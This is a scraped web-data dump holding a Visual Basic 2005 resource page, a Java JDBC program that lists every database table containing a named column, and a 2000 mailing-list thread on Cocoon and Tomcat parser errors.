text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91
values | source stringclasses 1
value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
.
Building Datacentric Applications Learning Guide
Interested in creating datacentric applications? Drag-and-drop data binding in Visual Basic 2005 makes connecting to data sources easier than ever. Explore our huge collection of targeted resources to quickly get started and moving in the right direction.Thanks! We'll email you
when relevant content is
added and updated.
Visual Basic 2005: Where to get started
Author Sean Campbell discusses VB2005 and key areas of interest for developers ready to roll with the new tools set.
Visual Basic 2005 Learning Guide
Get prepared for Visual Basic 2005 today with this extensive collection of resources. Along with being introduced to new features, you can download the prerelease software. Learn how to upgrade your existing projects and applications and get your hands dirty with the step-by-step tutorials. Don't... SearchVB.com.Thanks! We'll email you
when relevant content is
added and updated.Thanks! We'll email you
when relevant content is
added and updated. in-house but by Developer Express Inc., a Las...
Visual Basic 2005 programming: Ten tips and time-savers
Programming in Visual Basic 2005 can be relatively painless, thanks to templates, the My namespace, refactoring and snippets. These 10 tips and time-savers come from Tech Ed 2006.Thanks! We'll email you
when relevant content is
added and updated.
VB 2005 ‘My’ Space set to help developer
With VB.NET 2003, programmers were challenged to navigate around the namespace hierarchy. Help in the form of the My namespace framework is on the way.Thanks! We'll email you
when relevant content is
added and updated.
Visual Basic 2005 Application Framework gets rolling in earnest
As 2005 gets rolling in earnest, Visual Basic developers will turn attention to Visual Studio 2005, the second big step in the development of .NET. In the tool kit is .NET 2.0. | http://itknowledgeexchange.techtarget.com/discussions/tag/visual-basic-2005/ | CC-MAIN-2014-15 | refinedweb | 309 | 56.86 |
Eli Zaretskii wrote: > > Date: Thu, 25 Apr 2013 02:16:33 +0200 > > Cc: address@hidden, address@hidden > > From: Frank Heckenbach <address@hidden> > > > > > > don't see it as an overloading. 'sync_handle' is already opaque, > even its name says so. Alright, in this case I'd suggest renaming it to sync_fd on the POSIX side. > It just so happens that on Unix it is actually > a file descriptor. And it just so happens that on Windows it will be > a handle to a mutex. > > > I'm not sure I'd like this. Since it's used in separate code > > branches (ifdef'd or perhaps in different source files in compat) > > anyway, why not define separate variables of the appropriate types > > (preferably with different names, to reduce confusion)? > > I don't see any confusion (how probable is it that someone who is > interested in Unix will ever look at the details of the Windows > implementation, and vice versa?). I often grep through sources in order to quickly find all places a declaration is used. > And we never do that in Make, we > generally try to use the same variables. If nothing else, it keeps > the number of ifdef's down. My suggestion was under the assumption that we use different declarations because of different types anyway -- which I still recommend, though Paul might have to decide this one. If I understand it correctly, roughly we'd have now: intptr_t sync_handle; [...] #ifdef POSIX sync_handle = (intptr_t) fileno (stdout); #else sync_handle = (intptr_t) get_mutex_handle (...); #endif [...] #ifdef POSIX fcntl ((int) sync_handle, ...); #else lock_mutex ((mutex *) sync_handle); #endif I.e., everything about it is separate, apart from the declaration, and the latter uses a type that isn't quite right for either one. Though I generally like reducing the number of ifdefs, in this case it seems more consistent to split the declaration, so it's clear that these are really two different things. As a side benefit, if in the future someone tried to use it in common code, they would get compile-time errors on the other platform, rather than silently producing wrong code (like applying some fd operation to a mutex handle). > Thanks. I think you need two spaces between sentences (that's GNU > Coding Standards' requirement), and command lines people type should > be in @kbd, not @code. Also, "e.g." needs either a comma or a @: > after it, to signal to TeX it's not an end of a sentence. Changed.
--- | http://lists.gnu.org/archive/html/bug-make/2013-04/msg00130.html | CC-MAIN-2019-22 | refinedweb | 405 | 61.36 |
Troubleshooting Message Validation Failures by Viewing the Hexadecimal Contents of Suspended Messages
If a message is suspended due to validation failures, it may be helpful to view the hexadecimal representation of the message parts to determine the cause of the validation failure. This topic lists steps that can be followed to view the hexadecimal representation of the parts of a suspended message.
Follow these steps to view the hexadecimal representation of message parts:
Use the Query tab in the BizTalk Administration Console to return a result set with one or more suspended messages. See How to Search for Messages for more information.
Double-click the suspended message that you want to investigate to display the Message Details dialog box for the message.
Click a message part in the left hand pane of the Message Details dialog box to display the message part.
Click the Binary tab in the right hand pane of the Message Details dialog box to display the hexadecimal representation of the message part.
Check the hexadecimal representation of characters in message parts for the following:
Missing or invalid byte order mark. For more information about byte order marks see.
Differences between the encoding of linebreaks in Unix and Windows. Unix uses hex linefeed (0A) to indicate a line break where Windows uses both hex carriage return (0D) and linefeed (0A) to indicate a line break.
Invalid control character(s) in message parts. Control characters in message parts that do not show up in the text view may be visible in the binary view.
Invalid nul character(s) in the middle of a message part can cause the message part to be truncated. The nul character is represented as hex (00).
Invalid character offset in positional flat files. Display the hexadecimal representation of a message part to view the offset of data in a positional flat file. | https://msdn.microsoft.com/en-us/library/bb246121.aspx | CC-MAIN-2016-30 | refinedweb | 309 | 53.21 |
Heads up! To view this whole video, sign in with your Courses account or enroll in your free 7-day trial. Sign In Enroll
Instantiating Class Instances3:58 with James Churchill
In this video, we'll review the solution to the first challenge and introduce our second challenge—instantiating instances of the classes that we created in the first challenge.
Instructions
2nd Challenge
- In the Program.cs file
Main()method, use the
newkeyword to create at least one instance of each of your media type classes.
- For each of the objects that you create, set each field to an appropriate value.
If you get stuck on any of the following topics or simply need a refresher, click on a topic in list below to view the associated video in the C# Objects course.
Welcome back, how did it go? 0:00 It's okay if you weren't unable to complete every part of the challenge. 0:02 It's not unusual to struggle when you're learning something new. 0:05 Let's walk through my solution. 0:09 I started by adding a .cs file for each of my media types. 0:10 Remember that it's a convention for the file name to match the class name. 0:15 So File > New File then Album.cs. 0:20 Then File > New File, Book.cs. 0:27 And then File > New File, again, and Movie.cs. 0:34 In the Album.cs file, I then added the Treehouse.MediaLibrary namespace. 0:41 Then, within the namespace code block, I added the class definition. 0:53 The class keyword, followed by the name of the class, Album, and 0:58 a set of curly braces. 1:02 To save a bit of typing, I copied and pasted this code into the other files, 1:07 And changed the class name to the correct name for that file. 1:15 Then I added the fields to each class. 1:24 For the Album class, I added Title and Artist fields, both of type string. 1:29 So public string Title, then public string Artist. 1:34 Each of my media types has a Title field, so 1:41 I'm going to copy this line of code to the clipboard. 1:45 Then in Book, I'll paste that line of code, And 1:49 add one more field, public string Author. 1:53 Then in the Movie class, I'll paste from the clipboard again and 1:59 add the second field, public string Director. 2:03 Once I finished writing the code for the classes, I open the console and 2:09 use the mcs command to compile my program, 2:13 just to make sure that I didn't make any mistakes in my code. 2:16 mcs, and then I'll use *.cs to include all of the .cs files in my project's folder. 2:20 And I'll include -out:Program.exe, 2:27 which is the name of the exe file that I want the compiler to create. 2:31 All right, I didn't receive any compiler errors, so 2:43 it looks like I didn't make any mistakes, at least so far. 2:46 I did receive some warnings, but that's because we're not using the media type 2:49 classes and setting any of the field values. 2:54 Let's fix that now. 2:57 Remember that a class is a template for 2:59 making individual objects of a particular type. 3:01 For example, using the Album class, I can create three objects, or 3:04 instances, of the Album class. 3:09 For the second challenge, use the new keyword in the Program.cs file Main 3:11 method to create at least one instance of each of your media type classes. 3:15 Then, for 3:21 each of the objects that you create, set each field to an appropriate value. 3:22 I created three media types, so I'll create or 3:27 instantiate an instance of the Album, Book, and Movie classes. 3:30 Then for the Album class instance, I'll set values on the Title and Artist fields. 3:36 And for the Book class instance, I'll set values on the Title and Author fields. 3:42 And for the Movie class instance, I'll set values on the Title and Director fields. 3:48 And that's it for the second challenge. 3:53 After the break, I'll show you my solution. 3:55 | https://teamtreehouse.com/library/instantiating-class-instances | CC-MAIN-2020-40 | refinedweb | 770 | 82.14 |
using SQL from within applications to perform queries.
Naturally, as time passed, Object Relational Mappers (ORMs) came to be - which enable us to safely, easily and conveniently connect to our database programmatically without needing to actually run queries to manipulate the data.
One such ORM is SQLAlchemy. In this post, we will delve deeper into ORMs and specifically SQLAlchemy, then use it to build a database-driven web application using the Flask framework.
What is an ORM and why use it?
Object-relational mapping, as the name suggests, maps objects to relational entities. In object-oriented programming languages, objects aren't that different from relational entities - they have certain fields/attributes that can be mapped interchangeably.
That being said, as it's fairly easy to map an object to a database, the reverse is also very simple. This eases the process of developing software and reduces the chances of making manual mistakes when writing plain SQL code.
Another advantage of using ORMs is that they help us write code that adheres to the DRY (Don't Repeat Yourself) principles by allowing us to use our models to manipulate data instead of writing SQL code every time we need to access the database.
ORMs abstract databases from our application, enabling us to use multiple or switch databases with ease. Say, if we used SQL in our application to connect to a MySQL database, we would need to modify our code if we were to switch to an MSSQL database since they differ in syntax.
If our SQL was integrated at multiple points in our application, this will prove to be quite the hassle. Through an ORM, the changes we would need to make would be limited to just changing a couple of configuration parameters.
Even though ORMs make our life easier by abstracting the database operations, we need to be careful to not forget what is happening under the hood as this will also guide how we use ORMs. We also need to be familiar with ORMs and learn them in order to use them more efficiently and this introduces a bit of a learning curve.
SQLAlchemy ORM
SQLAlchemy is an ORM written in Python to give developers the power and flexibility of SQL, without the hassle of really using it.
SQLAlchemy wraps around the Python Database API (Python DBAPI) which ships with Python and was created to facilitate the interaction between Python modules and databases.
The DBAPI was created to establish consistency and portability when it came to database management though we will not need to interact with it directly as SQLAlchemy will be our point of contact.
It is also important to note that the SQLAlchemy ORM is built on top of SQLAlchemy Core - which handles the DBAPI integration and implements SQL. In other words, SQLAlchemy Core provides the means to generate SQL queries.
While SQLAlchemy ORM makes our applications database-agnostic, it is important to note that specific databases will require specific drivers to connect to them. One good example is Pyscopg which is a PostgreSQL implementation of the DBAPI which when used in conjunction with SQLAlchemy allows us to interact with Postgres databases.
For MySQL databases, the PyMySQL library offers the DBAPI implementation require to interact with them.
SQLAlchemy can also be used with Oracle and the Microsoft SQL Server. Some big names in the industry that rely on SQLAlchemy include Reddit, Yelp, DropBox and Survey Monkey.
Having introduced the ORM, let us build a simple Flask API that interacts with a Postgres database.
Flask with SQLAlchemy
Flask is a lightweight micro-framework that is used to build minimal web applications and through third-party libraries, we can tap into its flexibility to build robust and feature-rich web applications.
In our case, we will build a simple RESTful API and use the Flask-SQLAlchemy extension to connect our API to a Postgres database.
Prerequisites
We will use PostgreSQL (also known as Postgres) to store our data that will be handled and manipulated by our API.
To interact with our Postgres database, we can use the command line or clients that come equipped with graphical user interfaces making them easier to use and much faster to navigate.
For Mac OS, I recommend using Postico which is quite simple and intuitive and provides a clean user interface.
PgAdmin is another excellent client that supports all major operating systems and even provides a Dockerized version.
We will use these clients to create the database and also view the data during the development and execution of our application.
With the installations out of the way, let us create our environment and install the dependencies we will need for our application:
$ virtualenv --python=python3 env --no-site-packages $ source env/bin/activate $ pip install psycopg2-binary $ pip install flask-sqlalchemy $ pip install Flask-Migrate
The above commands will create and activate a virtualenv, install the Psycopg2 driver, install flask-sqlalchemy, and install Flask-Migrate to handle database migrations.
Flask-Migrate uses Alembic, which is a light database migration tool that helps us interact with our database in a much clearer way by helping us create and recreate databases, move data into and across databases, and identify the state of our database.
In our case, we will not have to recreate the database or tables every time our application starts and will do that automatically for us in case neither exists.
Implementation
We will build a simple API to handle and manipulate information about cars. The data will be stored in a PostgreSQL database and through the API we will perform CRUD operations.
First, we have to create the
cars_api database using our PostgreSQL client of choice:
With the database in place, let's connect to it. We'll start by bootstrapping our Flask API in the
apps.py file:
from flask import Flask app = Flask(__name__) @app.route('/') def hello(): return {"hello": "world"} if __name__ == '__main__': app.run(debug=True)
We start by creating a Flask application and a single endpoint that returns a JSON object.
For our demo, we will be using Flask-SQLAlchemy which is an extension specifically meant to add SQLAlchemy functionality to Flask applications.
Let us now integrate Flask-SQLAlchemy and Flask-Migrate into our
app.py and create a model that will define the data about our cars that we will store:
# Previous imports remain... from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = "postgresql://postgres:[email protected]:5432/cars_api" db = SQLAlchemy(app) migrate = Migrate(app, db) class CarsModel(db.Model): __tablename__ = 'cars' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String()) model = db.Column(db.String()) doors = db.Column(db.Integer()) def __init__(self, name, model, doors): self.name = name self.model = model self.doors = doors def __repr__(self): return f"<Car {self.name}>"
After importing
flask_sqlalchemy, we start by adding the database URI to our application's config. This URI contains our credentials, the server address, and the database that we will use for our application.
We then create a Flask-SQLAlchemy instance called
db and used for all our database interactions. The Flask-Migrate instance, called
migrate, is created after that and will be used to handle the migrations for our project.
The
CarsModel is the model class that will be used to define and manipulate our data. The attributes of the class represent the fields we want to store in the database.
We define the name of the table by using the
__tablename__ alongside the columns containing our data.
Flask ships with a command line interface and dedicated commands. For instance, to start our application, we use the command
flask run. To tap into this script, we just need to define an environment variable that specifies the script that hosts our Flask application:
$ export FLASK_APP=app.py $ flask run * Serving Flask app "app.py" (lazy loading) * Environment: development * Debug mode: on * Running on (Press CTRL+C to quit) * Restarting with stat * Debugger is active! * Debugger PIN: 172-503-577
With our model in place, and
Flask-Migrate integrated, let's use it to create the
cars table in our database:
$ flask db init $ flask db migrate $ flask db upgrade
We start by initializing the database and enabling migrations. The generated migrations are just scripts that define the operations to be undertaken on our database. Since this is the first time, the script will just generate the
cars table with columns as specified in our model.
The
flask db upgrade command executes the migration and creates our table:
In case we add, delete, or change any columns, we can always execute the
migrate and
upgrade commands to reflect these changes in our database too.
Creating and Reading Entities
With the database in place and connected to our app, all that's left is to implement the CRUD operations. Let's start off with creating a
car, as well as retrieving all currently existing ones:
# Imports and CarsModel truncated @app.route('/cars', methods=['POST', 'GET']) def handle_cars(): if request.method == 'POST': if request.is_json: data = request.get_json() new_car = CarsModel(name=data['name'], model=data['model'], doors=data['doors']) db.session.add(new_car) db.session.commit() return {"message": f"car {new_car.name} has been created successfully."} else: return {"error": "The request payload is not in JSON format"} elif request.method == 'GET': cars = CarsModel.query.all() results = [ { "name": car.name, "model": car.model, "doors": car.doors } for car in cars] return {"count": len(results), "cars": results}
We begin by defining a
/cars route which accepts both
GET and
POST requests. The
GET request will return a list of all cars stored in our database while the
POST method will receive a car's data in JSON format and populate our database with the information provided.
To create a new car, we use the
CarsModel class and provide the information required to fill in the columns for our
cars table. After creating a
CarsModel object, we create a database session and add our
car to it.
To save our car to the database, we commit the session through
db.session.commit() which closes the DB transaction and saves our car.
Let's try adding a car using a tool like Postman:
The response message notifies us that our car has been created and saved in the database:
You can see that there is now a record of the car in our database.
With the cars saved in our database, the
GET request will help us fetch all the records. We query all the cars stored in our database by using the
CarsModel.query.all() function, which is provided by Flask-SQLAlchemy.
This returns a list of
CarsModel objects, which we then format and add to a list using a list comprehension and pass it to the response alongside the number of cars in our database. When we request for the list of cars through the API in Postman:
The
GET method on the
/cars endpoint returns the list of cars as they appear in our database, as well as the total count.
Note: Notice how there's not a single SQL query present in the code. SQLAlchemy takes care of that for us.
Updating and Deleting Entities
So far, we can create a single car and get a list of all cars stored in the database. To complete the set of CRUD operations on cars in our API, we need to add functionality to return the details, modify, and delete a single car.
The HTTP methods/verbs that we will use to achieve this will be
GET,
PUT, and
DELETE, which will be brought together in a single method called
handle_car():
# Imports, Car Model, handle_cars() method all truncated @app.route('/cars/<car_id>', methods=['GET', 'PUT', 'DELETE']) def handle_car(car_id): car = CarsModel.query.get_or_404(car_id) if request.method == 'GET': response = { "name": car.name, "model": car.model, "doors": car.doors } return {"message": "success", "car": response} elif request.method == 'PUT': data = request.get_json() car.name = data['name'] car.model = data['model'] car.doors = data['doors'] db.session.add(car) db.session.commit() return {"message": f"car {car.name} successfully updated"} elif request.method == 'DELETE': db.session.delete(car) db.session.commit() return {"message": f"Car {car.name} successfully deleted."}
Our method
handle_car() receives the
car_id from the URL and gets the car object as it is stored in our database. If the request method is
GET, the car details will be simply returned:
To update the details of our car, we use the
PUT method and not
PATCH. Both methods can be used to update the details, however, the
PUT method accepts an updated version of our resource and replaces the one that we have stored in the database.
The
PATCH method simply modifies the one we have in our database without replacing it. Therefore, to update a
CarsModel record in our database, we have to supply all the attributes of our car including the ones to be updated.
We use the details to modify our car object and commit these changes using
db.session.commit() and then return a response to the user:
Our car has been successfully updated.
Lastly, to delete a car, we send a
DELETE request to the same endpoint. With the
CarsModel object already queried, all we will need to do is use the current session to delete it by executing
db.session.delete(car) and committing our transaction to reflect our changes on the database:
Conclusion
Real life applications are not as simple as ours and usually handle data that is related and spread across multiple tables.
SQLAlchemy allows us to define relationships and manipulate related data as well. More information on handling relationships can be found in the official Flask-SQLAlchemy documentation.
Our application can easily be extended to accommodate relationships and even more tables. We can also connect to multiple databases using Binds. More information on Binds can be found in the Binds documentation page.
In this post we have introduced ORMs and specifically the SQLAlchemy ORM. Using Flask and Flask-SQLAlchemy, we have created a simple API that exposes and handles data about cars as stored in a local PostgreSQL database.
The source code for the project in this post can be found on GitHub. | https://stackabuse.com/using-sqlalchemy-with-flask-and-postgresql/ | CC-MAIN-2021-17 | refinedweb | 2,372 | 54.93 |
23 October 2009 23:59 [Source: ICIS news]
LONDON (ICIS news)--The European methyl methacrylate (MMA) fourth-quarter contract price was settled up €60/tonne ($90/tonne) from the third quarter on higher acetone prices and healthy demand, buyers and sellers confirmed on Friday.
The fourth-quarter MMA pre-discounted contract was assessed at €1,340-1,395/tonne FD (free delivered) NWE (northwest ?xml:namespace>
“Our average quarter-four settlement was closer to €60/tonne, but we were still getting increases of €80-90/tonne and sometimes about €100/tonne,” confirmed a major producer. “Demand is still healthy and although there was talk about demand turning down towards that end of the year, we have not seen any evidence of this yet,” the producer added.
Another European producer said: “We were pushing for €130/tonne because of acetone and we were not able to pass this on. We have settled most contracts at an increase of €70/tonne.”
The producer source said that even with the increase, current MMA price levels were unsustainable because of rising methanol and acetone prices.
The producer added: “The MMA price will need to go up again even if raw materials decrease because we need to try and maintain prices.”
On the buying side, a range of settlements was reported, but on average €60/tonne was seen as representative of the fourth-quarter increase.
“We have settled our fourth-quarter contracts and the figure was not three digits,” confirmed a major MMA buyer in
A second large European buyer for the coatings sector said that its quarter-four contract price increased by an average of €50/tonne.
A third MMA consumer confirmed that its MMA price had increased by €60-70/tonne from the third to fourth quarter. The buyer said: “I have some [contracts] on a monthly basis and others fixed on a quarter. My increase for the quarter was around €70/tonne. I did not see any problems with availability and we saw some good activity in October."
Since the European Petrochemical Association (EPCA) meeting in
Major European producers were originally targeting increases of €110-120/tonne for fourth-quarter MMA contracts.
In the MMA spot market, prices had remained stable in October moving into November. Distributors quoted spot MMA in a €1,270-1,320/tonne FD NWE range.
“We are satisfied with our demand. It’s not booming but we are satisfied and September prices are still valued for October in the upper €1,200s/tonne,” confirmed an active MMA distributor.
($1 = €0.67)
For more on MMA and PMMA | http://www.icis.com/Articles/2009/10/23/9257720/europe-q4-mma-confirmed-up-60t-on-acetone-healthy.html | CC-MAIN-2014-35 | refinedweb | 430 | 60.04 |
Note: You can use the Java program below for this task, especially if you’re not using MySQL, but if you are using MySQL, you can use this query instead:
SELECT DISTINCT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('field_photo', 'field_photo_alt') AND TABLE_SCHEMA='mydatabase';
That query searches a MySQL database named
mydatabase for the two field names show (
field_photo,
field_photo_alt). I find that query on this SO page.
If you’re not using MySQL, the following Java program may help ...
Find all tables with a given column name using Java
This is probably not the most commonly needed piece of Java code, but I've run into a situation where I have to work with a large database that for some currently-unknown reason has no foreign keys declared between tables, even though there are obviously relationships that should be defined with foreign keys. So, what I've done to partially combat this problem is write a Java program that goes through each table in the database, uses the database table metadata, and if it finds a field with the name I've specified, it prints out the name of the database table where the field was found. As hokey as this sounds, it has actually helped me find a few previously-unknown relationships in this database of 150+ tables.
If you ever need to find all tables in a database, or otherwise search through the fields of all database tables, feel free to use this program to help you get started. BTW, a few names have been changed to protect the innocent (guilty?).
Also, FWIW, as you can see from the driver and URL that I'm using, I'm searching a Microsoft Access database, and I use the JDBC ODBC driver to connect to the Access database.
Without any further introduction, here is the one-class program.
package my_package; import java.sql.*; import java.util.*; /** * Use this program to search the entire database for a given column name. * The expected purpose of this program is to help find foreign keys that are not identified * in the schema. * Currently configured to search a Microsoft Access database. */ public class Main_SearchAllTablesForFieldname { // put the desired database field name here. // the program will search all tables in the database for this name. String colNameToSearchFor = "part_no"; String catalog = null; String schema = null; List listOfTables = new ArrayList(); public static void main(String[] args) { new Main_SearchAllTablesForFieldname(); } public Main_SearchAllTablesForFieldname() { try { // connect with the jdbc odbc bridge driver Class.forName("sun.jdbc.odbc.JdbcOdbcDriver"); // the jdbc odbc connection string Connection con = DriverManager.getConnection("jdbc:odbc:DB_NAME", "", ""); // get the database metadata DatabaseMetaData dmd = con.getMetaData(); // get a list of all tables getListOfAllTables(listOfTables, dmd); // see if you can find the column name in any tables searchForColumnNameInTables(dmd); } catch (Exception e) { System.err.println("exception: " + e.getMessage()); } } private void searchForColumnNameInTables(DatabaseMetaData dmd) throws SQLException { Iterator iter = listOfTables.iterator(); while (iter.hasNext()) { String tableName = (String) iter.next(); java.sql.ResultSet rs = dmd.getColumns(catalog, schema, tableName, "%"); while (rs.next()) { String colName = rs.getString(4); if (colName.trim().toLowerCase().equals(colNameToSearchFor)){ System.out.println("found '" + colNameToSearchFor + "' in " + tableName ); } } } } private void getListOfAllTables(List listOfTables, DatabaseMetaData dmd) throws SQLException { String[] tableTypes = { "TABLE", "VIEW", "ALIAS", "SYNONYM", "GLOBAL TEMPORARY", "LOCAL TEMPORARY", "SYSTEM TABLE"}; ResultSet rs = dmd.getTables(catalog, schema, "%", tableTypes); while (rs.next()) { String tableName = rs.getString(3); listOfTables.add(tableName); } rs.close(); } }
I'll probably improve this program to let me use regular expressions in my search, but for the moment it does what it is designed to do. Now, as to why foreign keys were not used in this large database ... that remains a mystery. | https://alvinalexander.com/blog/post/jdbc/program-search-for-given-field-name-in-all-database-tables-in-d/ | CC-MAIN-2021-49 | refinedweb | 601 | 55.34 |
Just try that:
var tt = new Ext.ToolTip({
target: averageWorkExpCombo.geEl(),
title: 'Mouse Track',
width: 200,
html: 'This tip will follow the mouse while it is over...
Type: Posts; User: syedarshadali
Just try that:
var tt = new Ext.ToolTip({
target: averageWorkExpCombo.geEl(),
title: 'Mouse Track',
width: 200,
html: 'This tip will follow the mouse while it is over...
I am also facing the same problem in IE
Would you like to share some code.
Thanks.
How do you people compare ExtJS with SmartClient
Problem is fixed just by adding the scope attribute in the handler,
scope: this
this.grid = new Ext.grid.GridPanel(
{
store: draftTicketsStore,
cm: new Ext.grid.ColumnModel({
defaults: {
//width: 120,
sortable: true
},
columns: [
// sm,
I am also getting the same problem.
Whats the solution...??? or what am I doing wrong?
Ok, if its not possible then is it possible to extract data from the Pie Chart, data that shows percentages and then we could display that information in a separate area / table. Basically the...
Can we place Pie Chart legends in this way:
Or inside pie chart.
Is there any events to capture next / previous buttons operations, like
onNext , onPrevious
Condor, how should I call it with correct scope? any sample code if you can provide.
Thanks.
//In utils.js, I have a function
this.currentUser = function( callback )
{
//PHP class method called by ExtJS Direct
var f = CMS.Direct.UserInfo.getJSON.createDelegate(null, [callback]);
f();...
Will this solution work for ExtJS 3.0??
I want to reset PagingToolbar but the suggested code does not work for me, giving me javascript error:
this.afterTextEl is undefined
Thanks Animal for your reply that I have received in email but not visible here, dont know why, anyhow, in ExtJS doc for TabPabel:
TabPanel use their header or footer element (depending on the...
Can we add 'refresh' tool in TabPanel like 'close' tool??
I want to have a 'Refresh' icon in every tab, like we have a close icon in every tab.
Problem has been solved through ref attribute, updated code:
SearchEmployeePanel = new Ext.extend(Ext.Panel,
{
constructor: function(conf)
{
...
I am creating a custom component, but when I create 2 instances of the same component in a page, both components sharing same ids (I guess) for child elements.
var searchField;
var frmSearch;...
I can call my specified function on paging toolbar's referesh button's click by :
grid.getBottomToolbar().refresh.on('click', resetSearch );
But, I want to load my store with different params...
Is there any reset method exist in FormPanel?
Oh, we have to call getForm() from FormPanel, then call reset method :)
Is there any event available on pressing Ext.PagingToolbar Refresh button.
Thanks man, BoxComponent works....
Btw one of the main reason to use ExtJS is a quick support :)
Following code giving me error:
c.getHeight is not a function
ch = c.getHeight();\r\n
Ext.namespace('cms.ui');
var ui = Ext.namespace("cms.ui");
Yup, I have just upgrade Opera from 7 to 10, its working now.
Web Desktop demo included in ExtJS 3.0 is not working in Opera. I am using Opera 7.54 version. Any idea?
Thanks Condor, yes its working after adding root attribute.
Yes I know built in JSON encoder thingy. | https://www.sencha.com/forum/search.php?s=fdac6c807665bd0dfeb55c16be55e689&searchid=18955928 | CC-MAIN-2017-09 | refinedweb | 539 | 68.47 |
CFD Online Discussion Forums
(
)
-
FLUENT
(
)
- -
bubble diameter definition in multi phase flow boiling simulation FLUENT
(
)
Abishek
September 25, 2011 05:55
bubble diameter definition in multi phase flow boiling simulation FLUENT
hi.. i am using rpi wall boiling model with eulerian multiphase model in fluent to study subcooled flow boiling in a specific geometry. i am defining the bubble diameter in the domain according to a particular correlation with a udf and trying to call it under define -> phases -> secondary_phase -> bubble diameter.
the udf is as follows
#include "udf.h"
DEFINE_PROPERTY(db, c, ct)
{
real db; /* bubble diameter */
real temp_bulk = C_T(c, ct)-373.15; /* local variable */
if (temp_bulk > 13.5)
db = 0.00015;
else if (temp_bulk >= 0.0 && temp_bulk <= 13.5)
db = 0.0015 - 0.0001 * temp_bulk;
else
db = 0.0015;
return db;
}
When i interpret this udf, there are no errors, but i see a message that reads "db definition shadows previous definition"
I am unable to comprehend this message.
Also, i am trying to define this parameter db in terms of the bulk temperature at every cell (bulk temp = vof_1*temp_1 + vof_2*temp_2). I am not sure if the C_T(c,t) that i am using is the bulk temp at that cell of just the phase_2 temperature at that cell.
pls help. thanks
libdemsci
January 15, 2013 03:17
i dont know if you have solved the problem.
what i want to say is the thread ct passed by fluent points to the secondary phase. you should take care of this if you want to get the temperature of the primary phase.
Abishek
January 15, 2013 05:43
@libdemsci : thanks for the reply. that problem was solved a long time back.
I used a dummy DEFINE_ADJUST subroutine to access the values of liquid phase temperature and stored it into a C_UDMI, which I later used in the subroutine for bubble diameter.
there is correction in my post, i required liquid phase temperature and not bulk temperature.
Ganapathy
January 15, 2013 08:18
Success using RPI ?
Abishek
January 15, 2013 09:04
haha. It now realize that I am not the only one killing himself to make sense of the results from the boiling simulations. RPI model is more or less the only well established computational framework so far for simulation of surface boiling. VOF can handle isolated bubble(s) nucleation problems (perhaps also bubble coalescence on surface) where bubbles are artificially induced into the domain. However, there are extreme limitations in terms of the usability of the various submodels of bubble departure diameter, frequency, nucleation site density etc for any particular application/ geometry or fluid when using the RPI model in an euler-euler framework. I have tried using CFX as well, but returned to fluent for several reasons involving ambiguity of inputs. I have now developed a UDF to include more appropriate submodels for the aforementioned parameters especially for flow boiling problems. The submodels are from more recent papers that are different from what is in the default fluent framework. However, there is still some ambiguity in using some characteristic temperature and velocity for the determination of some paraters such as bubble departure diameter, say, when using Unal's correlation. Fluent, as I believe is using a technique that seems to give some numbers in the reasonable range (that would keep the simulation stable), but the physics behind those numbers are highly questionable (for many applications, it would simply mean garbage). Nevertheless that is the, if we can say, only option available. Apparently the models seems to do a reasonable job (as several papers say) for tube boiling cases, but I am working on submerged jet impingement, where I am having a tough time getting trustable results. In gist, in my view, the limitations are purely due to the mechanistic/ experimental expressions for boiling model parameters being highly problem specific.
cfd seeker
January 15, 2013 14:44
Quote:
Originally Posted by
Ganapathy
(Post 4019 ?
I guess CFX still has RPI wall boiling model....isn't it?
Abishek
January 15, 2013 23:55
well, yes CFX still has RPI model in ansys 14.0. but its implementation is slightly different from that included in fluent.
Ganapathy
January 16, 2013 00:26
RPI Boiling
I Started my CFD career with RPI wall Boiling Model in CFX 5.1
At that time Fluent RPI was not good. Even CFX RPI was in its Beta
We tried simulating Boiling in bent tubes in a high pressure boiler. The results were decent enough for an engineering analysis (i.e. qualitative).
But try as we may, we could never get to see the vapor lock or accumulation of vapor phase in bends which could match the experimental or other empirical correlations.
mehrdad_kbg
January 17, 2013 15:12
Hi Abishek,
Thank you very much for your precise description of the problem. I was wondering if it is possible to send me the udf you have developed. my email is:
mehrdad_kbg@yahoo.com
Thank you very much.
mzy012100
March 2, 2013 04:26
Hi Abishek,
I was wondering if it is possible to send me the udf you have developed. my email is:
mzy012100@163.com
Thank you very much.
lbrumf2
August 13, 2013 15:10
Hi Abishek,
Thank you very much for your precise description of the problem. I was wondering if it is possible to send me the udf you have developed. my email is:
lbrumf2@gmail.com
Thank you very much.
Alirezaqaderi
February 3, 2016 08:41
Hi Abishek,
Can I have your developed UDF?my email:
alirezaqdr@gmail.com
Thank you.:(
All times are GMT -4. The time now is
14:10
. | http://www.cfd-online.com/Forums/fluent/92778-bubble-diameter-definition-multi-phase-flow-boiling-simulation-fluent-print.html | CC-MAIN-2016-30 | refinedweb | 943 | 56.25 |
Make absolutely sure that you are using the Xerces that came with
the Cocoon distro. In fact remove jaxp.jar and crimson.jar from
Tomcat classpatch and replace it with Xerces! Xerces does everything
that those other two jars do, but supports namespaces.
This is a problem that will plague most Servlet Containers--not just
Tomcat.
----- Original Message -----
From: "Christian Parpart" <trapni@gmx.de>
To: "Cocoon-Users" <cocoon-users@xml.apache.org>
Sent: Tuesday, December 19, 2000 10:58 PM
Subject: !!! Tomcat2 C2: log file: namespace not supported vs. sitemap not available
> (oops, this mail includes the attachement I forgot to put)
> ----------------------------------------------------------
>
> Hi
>
> I just got the latest CVS code from C2 and build the webapp.
> Now I have the cocoon.war and I put it into the webapps
> directory of Tomcat. Then I've restarted Tomcat with 'startup'
> and typed in the browser.
>
> Here I get the message 'The sitemap handler's sitemap is not available.'
>
> But after taking a look into the log file from C2
> (webapps/cocoon/WEB-INF/logs/cocoon.log) I saw that there're some more
> initial exceptions, such as 'Namespace not supported by SAXParser'.
>
> I don't know how to fix that problem (btw. I think that these exception
> causes the sitemap error) and for more understanding I attached the log
> file to this mail, please take a look at it.
>
> I hope there's anyone who knows how to fix that..
>
> Thank's in adwance
>
> Regards,
> Christian Parpart
> SurakWare
> cparpart@surakware.com
>
--------------------------------------------------------------------------------
> ---------------------------------------------------------------------
